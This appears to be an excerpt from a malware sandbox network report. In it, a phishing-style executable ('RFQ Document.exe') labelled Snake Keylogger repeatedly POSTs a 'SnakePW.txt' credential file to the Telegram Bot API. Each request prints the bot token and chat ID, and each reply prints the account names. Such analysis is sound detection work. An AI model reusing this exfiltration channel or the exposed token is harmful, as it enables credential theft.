application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:59:33 UTC	355	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:59:33 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:59:33 UTC	355	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 38 30 39 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 37 33 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12809,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808773,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
224	192.168.2.4	50045	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:59:33 UTC	356	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255ed249e37 Host: api.telegram.org Content-Length: 407
2021-09-28 05:59:33 UTC	356	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 65 64 32 34 39 65 33 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255ed249e37Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:59:33 UTC	356	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:59:33 GMT Content-Type: application/json Content-Length: 521 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:59:33 UTC	357	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 38 31 30 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 37 33 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12810,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808773,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
225	192.168.2.4	50046	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:59:33 UTC	357	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255ed3c6155 Host: api.telegram.org Content-Length: 407
2021-09-28 05:59:33 UTC	358	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 65 64 33 63 36 31 35 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255ed3c6155Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:59:33 UTC	358	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:59:33 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:59:33 UTC	358	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 38 31 31 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 37 33 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12811,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808773,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
226	192.168.2.4	50047	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:59:33 UTC	359	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255ed5b5f3d Host: api.telegram.org Content-Length: 407
2021-09-28 05:59:33 UTC	359	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 65 64 35 62 35 66 33 64 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255ed5b5f3dContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:59:33 UTC	360	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:59:33 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:59:33 UTC	360	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 38 31 32 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 37 33 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12812,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808773,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
227	192.168.2.4	50048	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:59:33 UTC	360	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255ed7a5e75 Host: api.telegram.org Content-Length: 407
2021-09-28 05:59:33 UTC	361	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 65 64 37 61 35 65 37 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255ed7a5e75Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:59:34 UTC	361	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:59:34 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:59:34 UTC	362	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 38 31 33 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 37 33 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12813,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808773,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
228	192.168.2.4	50049	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:59:34 UTC	362	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255ed995e14 Host: api.telegram.org Content-Length: 407
2021-09-28 05:59:34 UTC	362	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 65 64 39 39 35 65 31 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255ed995e14Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:59:34 UTC	363	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:59:34 GMT Content-Type: application/json Content-Length: 521 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:59:34 UTC	363	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 38 31 35 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 37 34 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12815,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808774,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
229	192.168.2.4	50050	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:59:34 UTC	364	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255edb5f876 Host: api.telegram.org Content-Length: 407
2021-09-28 05:59:34 UTC	364	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 65 64 62 35 66 38 37 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255edb5f876Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:59:34 UTC	364	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:59:34 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:59:34 UTC	365	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 38 31 36 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 37 34 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12816,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808774,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
23	192.168.2.4	49797	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:58:25 UTC	36	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255c4957484 Host: api.telegram.org Content-Length: 407
2021-09-28 05:58:25 UTC	36	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 63 34 39 35 37 34 38 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255c4957484Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:58:25 UTC	37	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:58:25 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:58:25 UTC	37	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 36 30 33 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 30 35 2c 22 64 Data Ascii: 